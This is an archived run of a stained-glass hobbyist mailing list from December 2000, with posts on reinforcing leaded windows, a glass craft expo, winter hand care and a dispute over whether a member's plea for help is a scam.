the person=20
I want to be.<BR>&gt;&nbsp; &gt;I've=20
learned-<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; that you =
should=20
always leave loved ones<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; with =
loving words.=20
It may be the last<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; time you =
see=20
them.<BR>&gt;&nbsp; &gt;I've=20
learned-<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; that you can =
keep=20
going<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; long after you=20
can't.<BR>&gt;&nbsp; &gt;I've=20
learned-<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; that we are=20
responsible for what we do,<BR>&gt;&nbsp; &gt;I've=20
learned-<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; that either =
you=20
control your attitude<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
or it=20
controls you.<BR>&gt;&nbsp; &gt;I've=20
learned-<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; that =
regardless of=20
how hot and<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; steamy a=20
relationship is at =
first,<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; the=20
passion fades and there =
had<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
better be something else to=20
take<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; its =
place.<BR>&gt;&nbsp;=20
&gt;I've learned-<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; that =
heroes=20
are the people<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; who do what =
has to be=20
done<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; when it needs to =
be=20
done,<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; regardless of =
the=20
consequences.<BR>&gt;&nbsp; &gt;I've=20
learned-<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; that money is =
a lousy=20
way of keeping score.<BR>&gt;&nbsp; &gt;I've=20
learned-<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; that my best =
friend=20
and I can do anything<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
or=20
nothing and have the best time.<BR>&gt;&nbsp; &gt;I've=20
learned-<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; that =
sometimes the=20
people you expect<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; to =
kick you=20
when you're down,<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; will =
be the=20
ones to help you get back up.<BR>&gt;&nbsp; &gt;I've=20
learned-<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; that =
sometimes when=20
I'm angry<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I have the =
right to=20
be angry,<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; but that =
doesn't=20
give me<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; the right to =
be=20
cruel.<BR>&gt;&nbsp; &gt;I've=20
learned-<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; that just because =
someone=20
doesn't love<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; you the =
way you=20
want them to doesn't<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
mean they=20
don't love you with all they have.<BR>&gt;&nbsp; &gt;I've=20
learned-<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; that maturity =
has=20
more to do with<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; what =
types of=20
experiences you've had<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
and=20
what you've learned from =
them<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
and less to do with how =
many<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
birthdays you've celebrated.<BR>&gt;&nbsp; &gt;I've=20
learned-<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; that it isn't =
always=20
enough to be<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; forgiven =
by=20
others. Sometimes you<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
have to=20
learn to forgive yourself.<BR>&gt;&nbsp; &gt;I've=20
learned-<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; that no =
matter how=20
bad your heart is =
broken<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; the=20
world doesn't stop for your grief.<BR>&gt;&nbsp; &gt;I've=20
learned-<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; that our =
background=20
and circumstances<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; may =
have=20
influenced who we are,<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
but we=20
are responsible for who we become.<BR>&gt;&nbsp; &gt;I've=20
learned-<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; that just =
because two=20
people argue,<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; it =
doesn't mean=20
they don't love each other<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
And just=20
because they don't argue,<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; it =
doesn't=20
mean they do.<BR>&gt;&nbsp; &gt;I've=20
learned-<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; that you =
shouldn't be=20
so eager to find out a<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
secret.=20
It could change your life forever.<BR>&gt;&nbsp; &gt;I've=20
learned-<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; that two =
people can=20
look at the exact<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; same =
thing=20
and see something totally =
.<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
different.<BR>&gt;&nbsp; &gt;I've=20
learned-<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; that your life can =
be=20
changed in a matter of<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
hours=20
by people who don't even know you.<BR>&gt;&nbsp; &gt;I've=20
learned-<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; that even =
when you=20
think you have no more<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
to=20
give, when a friend cries out to=20
you<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; you will find the =
strength=20
to help.<BR>&gt;&nbsp; &gt;I've=20
learned-<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; that =
credentials on=20
the wall<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; do not make =
you a=20
decent human being.<BR>&gt;&nbsp; &gt;I've=20
learned-<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; that the =
people you=20
care about most in =
life<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; are=20
taken from you too soon.<BR></DIV>
<DIV>&gt; Sending all of my love to you and yours this Holiday Season... =

<BR></DIV></BODY></HTML>

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From owner-glass Thu Dec  7 11:33:04 2000
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	for rglass-42; Thu, 7 Dec 2000 10:49:56 -0800 (PST)
	(Smail-3.2.0.94 1997-Apr-22 #527 built 2000-Nov-28)
X-Path: verrier-scotland.demon.co.uk!s.richard
From: Steve Richard <s.richard@verrier-scotland.demon.co.uk>
To: S Kunneke <skunneke@legacyhotels.co.za>
Subject: Re: Scuse the ignorance
Date: Thu, 7 Dec 2000 17:40:53 +0000
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0@?>>
Precedence: bulk

In the UK rebars are called (More properly) saddle bars.  They are round
or square bars 8 - 10 mm in diameter that are tied to the panel with
copper wires soldered at the appropriate points across the panel.  On a
window 1.44m high, I would use two saddle bars.  And I would make it in
three sections each higher one sitting on the lower one and tied to the
saddle bar.  this can be straight or curved.  

More information if wanted, but a little later.

Steve

In message <1970Jan1.000.0@?>, S Kunneke <skunneke@legacyhotels.co.za>
writes
>Hi there, sorry about the ignorance of the question - I hope you'll bear =
>with me.  Im based in South Africa and most things out here are either =
>renamed or non existent (i.e. 99% of all things related to stained glass =
>have to be imported and are quite expensive).
>
>What is "rebaring"?  Im asking as I am about to embark on making a =
>leaded window (1.445m x 0.455m - sorry I don't know the inch equivalent) =
>and I was wondering about reinforcing it and how to go about it.  I've =
>phoned about 3 - 4 stained glass places here and none of them are very =
>keen to give me any information unless "I come in and see them about =
>doing a course", and the place I originally did the course has closed.
>
>Any info would be greatly appreciated.
>
>Many thanks
>
>Sarah
>----
>For subscription changes, please mail to: glass-request@bungi.com
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-- 
Steve Richard
Verrier Art Glass Ltd
s.richard@verrier-scotland.demon.co.uk
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From owner-glass Thu Dec  7 11:47:16 2000
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X-Path: aol.com!RIFCLAN
From: RIFCLAN@aol.com
To: glass@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: Please change my address
Date: Thu, 7 Dec 2000 14:02:44 EST
Message-ID: <1970Jan1.000.0>
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Hi,
Please take me off the list for     rifclan@aol.com   and put me back on at:  
toaprilgreene@aol.com.

Thanks a lot!
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From owner-glass Thu Dec  7 13:18:57 2000
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	for rglass-42; Thu, 7 Dec 2000 13:01:35 -0800 (PST)
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X-Path: softhouse.com!giapet
From: "Karen K." <giapet@softhouse.com>
To: "Colleen Schick" <thegrainery@unibase.com>, <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: One Last thing...
Date: Thu, 7 Dec 2000 12:35:58 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

This is from one of Toby's previous messages (11/30/00) to =
bungi.........it answers your questions.

*** Her address IS still viable and she is in control, although under=20
considerable physical pain. She gets transport to down-town=20
Wauchula once a day to do her own thing - which includes doing=20
her e-mail at the public library.***


Karen
giapet@softhouse.com


> Okay, this is my last "devil's advocate" scenereo...
>=20
> #1    If Lee is that broke     and...
> #2    Being institutionalized is a poverish, living hell     then how
> come...
>=20
> #1   she has access to a computer (which is worth about $2000.00)
> #2   she has access to the internet (which is worth about $50/month =
for
> high-speed and
>         ($30/month for regular service)
>=20
> It doesn't add up? And if she is in a mental rehab-- would you want =
her
> to have access to glass (the staff would never allow it because of the
> danger... she may not use it as a weapon, but who says someone else
> wouldn't? There are a lot of depressed people who would take any
> opportunity to take their lives, right?)
>=20
> AND FINALLY... Here in Canada (and I am very ashamed of this fact, =
that
> our TOP SECURTIY PRISONS that house LIFE OFFENDERS, have access to
> computers... get this... so they can get a university degree... that =
my
> tax dollars are paying for.. I still don't get
> it!!???!!!???!!???!!!???!?!?!?!?!?!
>=20
> Colleen
>=20
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass
>=20

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From owner-glass Thu Dec  7 14:33:12 2000
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X-Path: ix.netcom.com!gunnx4
From: Suzanne Gunn <gunnx4@ix.netcom.com>
To: Colleen Schick <thegrainery@unibase.com>, glass@bungi.com
Content-Type: text/plain; charset=x-user-defined
Subject: Re: One Last thing...
Date: Thu, 07 Dec 2000 15:31:36 -0600
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Organization: glassdancer
Precedence: bulk

You should have read her post.  She went to the library to use the
computer.  I dont know about where you live, but in Tulsa Oklahoma the
library and the use of their computer and internet connection are free
to use for 30 minutes.

As far as family murderers in the US having internet connections in
their cells.  No way, not here.  

Suzanne


Colleen Schick wrote:
> 
> Okay, this is my last "devil's advocate" scenereo...
> 
> #1    If Lee is that broke     and...
> #2    Being institutionalized is a poverish, living hell     then how
> come...
> 
> #1   she has access to a computer (which is worth about $2000.00)
> #2   she has access to the internet (which is worth about $50/month for
> high-speed and
>         ($30/month for regular service)
> 
> It doesn't add up? And if she is in a mental rehab-- would you want her
> to have access to glass (the staff would never allow it because of the
> danger... she may not use it as a weapon, but who says someone else
> wouldn't? There are a lot of depressed people who would take any
> opportunity to take their lives, right?)
> 
> AND FINALLY... Here in Canada (and I am very ashamed of this fact, that
> our TOP SECURTIY PRISONS that house LIFE OFFENDERS, have access to
> computers... get this... so they can get a university degree... that my
> tax dollars are paying for.. I still don't get
> it!!???!!!???!!???!!!???!?!?!?!?!?!
> 
> Colleen
> 
> ----
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From owner-glass Thu Dec  7 15:00:42 2000
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From: Suzanne Gunn <gunnx4@ix.netcom.com>
To: glass@bungi.com
Content-Type: text/plain; charset=x-user-defined
Subject: Glass workers winter hands
Date: Thu, 07 Dec 2000 16:15:59 -0600
Message-ID: <1970Jan1.000.0>
Organization: glassdancer
Precedence: bulk

It really hasn't even gotten very cold here yet (although we did get
down to 30 last night) and my hands are already turning into "winter
glass worker hands".  

Im curious to hear what other people do to protect their hands or
attempt to save them when it gets cold and dry.  My boss and I are
already suffering.

I have some Eucerin creme that my hand specialist recommended to me when
I had surgery last April...but it's not handling the cold weather with
all the hand washings and a abuse.

Suzanne
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From owner-glass Thu Dec  7 16:23:08 2000
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X-Path: ilnk.com!andor
From: "Linda Jo Letscher" <andor@ilnk.com>
To: <glass@bungi.com>
Subject: Re: Glass workers winter hands
Date: Thu, 7 Dec 2000 18:28:29 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
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Suzanne,
Isn't your work studio heated?  I do find myself putting cream on my hands
more this time of year, and we aren't as cold as you guys.
Linda Jo
Jacksonville, Fl.


----- Original Message -----
From: "Suzanne Gunn" <gunnx4@ix.netcom.com>
To: <glass@bungi.com>
Sent: Thursday, December 07, 2000 5:15 PM
Subject: Glass workers winter hands


> It really hasn't even gotten very cold here yet (although we did get
> down to 30 last night) and my hands are already turning into "winter
> glass worker hands".
>
> Im curious to hear what other people do to protect their hands or
> attempt to save them when it gets cold and dry.  My boss and I are
> already suffering.
>
> I have some Eucerin creme that my hand specialist recommended to me when
> I had surgery last April...but it's not handling the cold weather with
> all the hand washings and a abuse.
>
> Suzanne
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass


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From owner-glass Thu Dec  7 17:54:36 2000
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From: "Linda Jo Letscher" <andor@ilnk.com>
To: <glass@bungi.com>
Subject: Re: Glass workers winter hands
Date: Thu, 7 Dec 2000 18:28:29 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

Suzanne,
Isn't your work studio heated?  I do find myself putting cream on my hands
more this time of year, and we aren't as cold as you guys.
Linda Jo
Jacksonville, Fl.


----- Original Message -----
From: "Suzanne Gunn" <gunnx4@ix.netcom.com>
To: <glass@bungi.com>
Sent: Thursday, December 07, 2000 5:15 PM
Subject: Glass workers winter hands


> It really hasn't even gotten very cold here yet (although we did get
> down to 30 last night) and my hands are already turning into "winter
> glass worker hands".
>
> Im curious to hear what other people do to protect their hands or
> attempt to save them when it gets cold and dry.  My boss and I are
> already suffering.
>
> I have some Eucerin creme that my hand specialist recommended to me when
> I had surgery last April...but it's not handling the cold weather with
> all the hand washings and a abuse.
>
> Suzanne
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass


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From owner-glass Fri Dec  8 08:04:36 2000
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X-Path: ix.netcom.com!gunnx4
From: Suzanne Gunn <gunnx4@ix.netcom.com>
To: Linda Jo Letscher <andor@ilnk.com>
Content-Type: text/plain; charset=x-user-defined
Subject: Re: Glass workers winter hands
Date: Thu, 07 Dec 2000 19:11:09 -0600
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Organization: glassdancer
Precedence: bulk

Both the *work* studio, and home studio are heated, but with washing my
hands so frequently, and dryer winter air...which is even dryer with the
heater going, my hands really suffer for it.  They are bad enough when
it's humid! ;o)  Callous city, man.  No ones bangin on my door for a
hand model, that's for sure!

Suzanne

Linda Jo Letscher wrote:
> 
> Suzanne,
> Isn't your work studio heated?  I do find myself putting cream on my hands
> more this time of year, and we aren't as cold as you guys.
> Linda Jo
> Jacksonville, Fl.
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From owner-glass Fri Dec  8 08:11:44 2000
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X-Path: zoomnet.net!ella
From: "ELLA" <ella@zoomnet.net>
To: <glass@bungi.com>
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Subject: expo 2001
Date: Thu, 7 Dec 2000 21:50:06 -0500
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I am thinking about attending the Las Vegas Glass Craft Expo 2001. Has =
anyone attended in the past? Is worth the trip and cost?  If so, any =
advise on which classes to take, other sights to be sure to see, never =
been to Las Vegas before.  What should I take?  Some classes advise to =
bring glass, how much? ella

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<HTML><HEAD>
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<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>I am thinking about attending the Las =
Vegas Glass=20
Craft Expo 2001. Has anyone attended in the past? Is worth the trip and=20
cost?&nbsp; If so, any advise on which classes to take, other sights to =
be sure=20
to see, never been to Las Vegas before.&nbsp; What should I take?&nbsp; =
Some=20
classes advise to bring glass, how much? ella</FONT></DIV></BODY></HTML>

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From owner-glass Fri Dec  8 08:44:43 2000
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X-Path: gjr
From: gjr@bungi.com (Glenna Rand)
To: "ELLA" <ella@zoomnet.net>, glass
Subject: Re: expo 2001
Date: Fri, 8 Dec 2000 08:31:09 PST
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[In the message entitled "expo 2001" on Dec  7, 21:50, "ELLA" writes:]
> 
> I am thinking about attending the Las Vegas Glass Craft Expo 2001. Has =
> anyone attended in the past? Is worth the trip and cost?  If so, any =
> advise on which classes to take, other sights to be sure to see, never =
> been to Las Vegas before.  What should I take?  Some classes advise to =
> bring glass, how much? ella

I've attended for the last 4 years.  It's great!  I've always learned
a ton and enjoyed the trade show.  Not to menion meeting fellow bungians!
I've never really had a "bad" class, but I know some people did.  My 
advice it to take something you are interested in.  I took kiln classes
last year,....
Enjoy,..unfortunately I won't be attanding this year since baby is still
attached!

-- 
Glenna Rand
gjr@bungi.com
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From owner-glass Fri Dec  8 09:02:09 2000
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X-Path: heesun.com!keane
From: "Robert & Jeanne Keane -- Hee Sun Stained Glass, Ltd." <keane@heesun.com>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: re: Glassworkers winter hands
Date: Fri, 8 Dec 2000 00:57:47 -0500
Message-ID: <1970Jan1.000.0>
Precedence: bulk

When my hands get really dry & cracked from the cold I use Bag Balm - with
cotton gloves at night. You can probably get it at your local feed store. It
was originally use for sore cow teats from milking. okay it sounds weird but
it really works.
Jeanne Keane
CEO/Founder
Hee Sun Stained Glass LTD
324 Main Street
Reisterstown, MD 21136
410-833-3007
jeanne@heesun.com
www.heesun.com

----- Original Message -----
From: Suzanne Gunn <gunnx4@ix.netcom.com>
To: <glass@bungi.com>
Sent: Thursday, December 07, 2000 5:15 PM
Subject: Glass workers winter hands


> It really hasn't even gotten very cold here yet (although we did get
> down to 30 last night) and my hands are already turning into "winter
> glass worker hands".
>
> Im curious to hear what other people do to protect their hands or
> attempt to save them when it gets cold and dry.  My boss and I are
> already suffering.
>
> I have some Eucerin creme that my hand specialist recommended to me when
> I had surgery last April...but it's not handling the cold weather with
> all the hand washings and a abuse.
>
> Suzanne
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass
>





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From owner-glass Fri Dec  8 09:02:36 2000
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X-Path: aol.com!CINDEL67
From: CINDEL67@aol.com
To: glass@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: enough
Date: Thu, 7 Dec 2000 23:54:51 EST
Message-ID: <1970Jan1.000.0>
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ENOUGH IS ENOUGH!  Is this a "glass" forum or WHAT?
----
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From owner-glass Fri Dec  8 09:35:17 2000
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X-Path: northlights.co.uk!toby
From: "Toby" <toby@northlights.co.uk>
To: sonyaamt@mindspring.com
Content-Type: text/plain; charset=US-ASCII
Subject: Re: Re: Scuse the ignorance
Date: Fri, 8 Dec 2000 12:24:13 -0000
Message-ID: <200012081238.eB8CcBl11476@mercury.nildram.co.uk>
Precedence: bulk

Hello Sonya,

The ISBN number I quoted is an international catalogue number, 
through which books can be traced all over the world. Computer 
technology has refined  the search facilities hugely over the years.
You should therefore be able to obtain the book quite easily via any 
of the following routes;

Your local library (via a larger one)
Good quality book-shop
Amazon web-site (can anyone remember the URL???)

Good Luck
Elisabeth 'n Toby in UK

Where would someone in the United States get this book?

Thanks
Sonya

Toby <toby@northlights.co.uk> wrote:


There is an excellent book by the British stained glass 
designer/maker Patrick Reytiens, which you should be able to get 
in South Africa, called "The Technique of Stained Glass", published 
by B.T. Batsford Ltd, London, ISBN 0 7134 2510 5, reprinted 1983. 
He is very mindful of English/American terminology and has an 
entire section devoted to re-bar/reinforcing, tie-bars/ saddle bars 
and the whole technique of re-inforcing larger panels.
Best of Luck!
Elisabeth 'n Toby in UK

Hi there, sorry about the ignorance of the question - I hope you'll bear =
with me.  Im based in South Africa and most things out here are either =
renamed or non existent (i.e. 99% of all things related to stained glass =
have to be imported and are quite expensive).

What is "rebaring"?  Im asking as I am about to embark on making a =
leaded window (1.445m x 0.455m - sorry I don't know the inch equivalent) =
and I was wondering about reinforcing it and how to go about it.  I've =
phoned about 3 - 4 stained glass places here and none of them are very =
keen to give me any information unless "I come in and see them about =
doing a course", and the place I originally did the course has closed.

Any info would be greatly appreciated.

Many thanks

Sarah


----
As my grandmother said "...there is only nobility of mind"
North Lights Stained Glass - homepage
http://www.netlink.co.uk/users/kris/northlights/index.htm 
----
----
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From owner-glass Fri Dec  8 11:08:31 2000
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From: "Claire Amundsen Schaeffer" <webmaster@freegraphics.com>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: In Canada
Date: Fri, 8 Dec 2000 00:05:30 -0500
Message-ID: <1970Jan1.000.0>
References: <<3A2FBA34.8E2761F6@unibase.com>>
Precedence: bulk

Nobody called you stingy (at least I didn't). I make absolutely no
judgement on how you spend your money -- it is, after all, *your*
money.

>> I am so amazed how sensitive you are... people who would rather
give money, carelessly and fleetingly, than to take care of the people
they share a roof with.<<

lol... is this the part you meant for somebody else? Sorry to be a
crashing disappointment to you, but all the people under my roof are
very well cared for -- not that it's any of your business.

>>why aren't people getting politically involved...

Just because you haven't heard about it, doesn't mean it's not
happening.

And for future reference, I prefer not to be called "honey".

"Snoogly-ukum-sugarlips" is generally okay, though.

Claire
GlassJumps.com
Cold, Warm, and Hot Glass
http://www.glassjumps.com/
Links to 160+ Glass Resources

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From owner-glass Fri Dec  8 11:30:41 2000
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From: "Claire Amundsen Schaeffer" <webmaster@freegraphics.com>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: ng; Lee Boe
Date: Thu, 7 Dec 2000 23:43:51 -0500
Message-ID: <1970Jan1.000.0>
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Peggy,

And while the requirements you mention are similar (if not identical)
to the supposed requirements of the Baker Act in Florida, the act has
been so badly abused in Florida that in December of 1999, the Florida
Supreme Court Commission on Fairness urged major reform of the law.
Among many of the failures found by the commission was that only about
HALF of the Baker Act cases do the required court hearings for
institutional treatment happen in the requisite five days.
Additionally, the commission found that the act is abused for
financial gain and by people with grudges (such as estranged spouses).

There may not be a problem in KY, but there certainly is in Florida.

Claire
GlassJumps.com
Cold, Warm, and Hot Glass
http://www.glassjumps.com/
Links to 160+ Glass Resources

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From owner-glass Fri Dec  8 11:46:41 2000
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X-Path: pacbell.net!ezbongo2
From: rrk <ezbongo2@pacbell.net>
To: Colleen Schick <thegrainery@unibase.com>, Bungi Group <glass@bungi.com>
Content-Type: text/plain; charset=iso-8859-1
Subject: Re: Lee Boe
Date: Thu, 07 Dec 2000 04:29:12 -0800
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0@mta3.snfc21.pbi.net>>
Precedence: bulk


Hi Colleen and all the others,

I do not know the specifics of Lee Boe's case, and without having see=
n the legal
documents, neither does anyone else on this list.  Examination of the=
 statutes
involved demonstrates its not as easy as all that to "commit" someone=
 in Florida; six
people including a judge, 4 professionals, and a lay person must agre=
e and sign
documents to the effect that this person will injure either themselve=
s or others if
left untreated AND will not seek treatment on their own.  However, as=
 with divorce,
there are two sides to every coin.  We know only one side of the coin=
, Lee Boe's side,
and probably should refrain from judgment.

***********************************************************
Here are the exact statues concerning involuntary placement of indivi=
duals into mental
health facilities in the State of Florida.

http://www.fmhi.usf.edu/institute/pubs/pdf/abstracts/bakeract.html

By the way, the proceedings of the court are a matter of public recor=
d and copies may
be obtained by any interested party.

***********************************************************
http://www.flepioa.org/Statutory%20Exemptions.htm
http://legal1.firn.edu/sun.nsf/1a9972cc30ebe40d852563cb004e9d73/1bb05=
d142d8e4724852566f3006c7a1a?OpenDocument

The reports from law enforcement officers concerning the taking into =
custody of
persons following a Baker Act court order are not confidential and ma=
y be obtained by
any interested party.

***********************************************************
An interesting opinion may be found at :

http://www.newyorkcityvoices.com/nov98j.html

>From the article : (Editor=92s note: Greg Lansen is a lawyer with 14=
 years criminal
defense experience. Two years ago he joined the Office of the Public =
Defender where he
is head of the Baker Act Division.)
***********************************************************

Note that statutes similar to the Baker Act in Florida are found in e=
very state in the
USA as well as every civilized country in the world.  Don't think it =
can't happen to
you, it can. In fact, I asked one of my lawyers (because I was curiou=
s) and was told
that the USA is the most difficult country in the world to get someon=
e "committed"
involuntarily.  I was told its far easier to accomplish this in most =
of the European
countries.  In many Asian countries it is a routine matter and quite =
common, or so I'm
told.  We are talking about cases that do not involve felony crime of=
 course, for
which involuntary treatment is an increasingly common remedy.

Bye all =85.  Bob



Colleen Schick wrote:

> To all of you...
>
> Christmas brings "all sorts" out of the wood work, so don't set you=
r selves up for
> disappointment when you've been told by the police that you've been=
 had. Having
> worked in the Social Services Area for a number of years, I can hop=
efully put your
> consciences at ease when I say that she, if she is really instituti=
onalized, she
> is being taken care of.
>
> Use your hard earned money to take care of your families and loved =
ones, and drop
> a buck or two in the Salvation Army's bucket.
>
> A typical scam, which this is, makes you feel compelled to help som=
eone who you've
> never met.. and this is a very good one, making it's way into a clo=
se group and
> telling stories how they have formed close bonds to others "from ou=
r group" (so
> they must be safe, right?) WRONG!!!
>
> Think this one over very carefully.
>
> Sincerely, and Merry Christmas All!




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From owner-glass Fri Dec  8 16:00:50 2000
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X-Path: worldnet.att.net!Moya-Don
From: "D. ONeal" <Moya-Don@worldnet.att.net>
To: <glass@bungi.com>
Content-Type: multipart/alternative;
Subject: Glassworkers Winter Hands
Date: Fri, 8 Dec 2000 16:33:17 -0500
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My recipe is effective and cheap.  I slather up with Vaseline at night =
and put cotton gloves on and go to bed.  Morning finds my hands pretty =
well healed. =20
For some of those times when I wait too long to do anything and find I =
have those little splits and fissures, the remedy came from my physician =
husband.  Coat the split with super glue and let it dry well.  It is =
amazing how well it works.  It is sealed well and water cannot get to =
the split to make it worse.
Hope these tricks help.
Moya

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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Dwindows-1252" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3018.900" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>My recipe is effective and cheap.&nbsp; I slather up with Vaseline =
at night=20
and put cotton gloves on and go to bed.&nbsp; Morning finds my hands =
pretty well=20
healed.&nbsp; </DIV>
<DIV>For some of those times when I wait too long to do anything and =
find I have=20
those little splits and fissures, the remedy came from my physician=20
husband.&nbsp; Coat the split with super glue and let it dry well.&nbsp; =
It is=20
amazing how well it works.&nbsp; It is sealed well and water cannot get =
to the=20
split to make it worse.</DIV>
<DIV>Hope these tricks help.</DIV>
<DIV>Moya</DIV></BODY></HTML>

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From owner-glass Fri Dec  8 17:52:32 2000
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X-Path: erols.com!deethom
From: Dee Thompson <deethom@erols.com>
To: glass@bungi.com
Content-Type: text/plain; charset="us-ascii"
Subject: re: Glassworkers winter hands
Date: Fri, 08 Dec 2000 20:53:09 -0500
Message-ID: <3.0.32.20001208205307.00d859f8@pop.erols.com>
Precedence: bulk

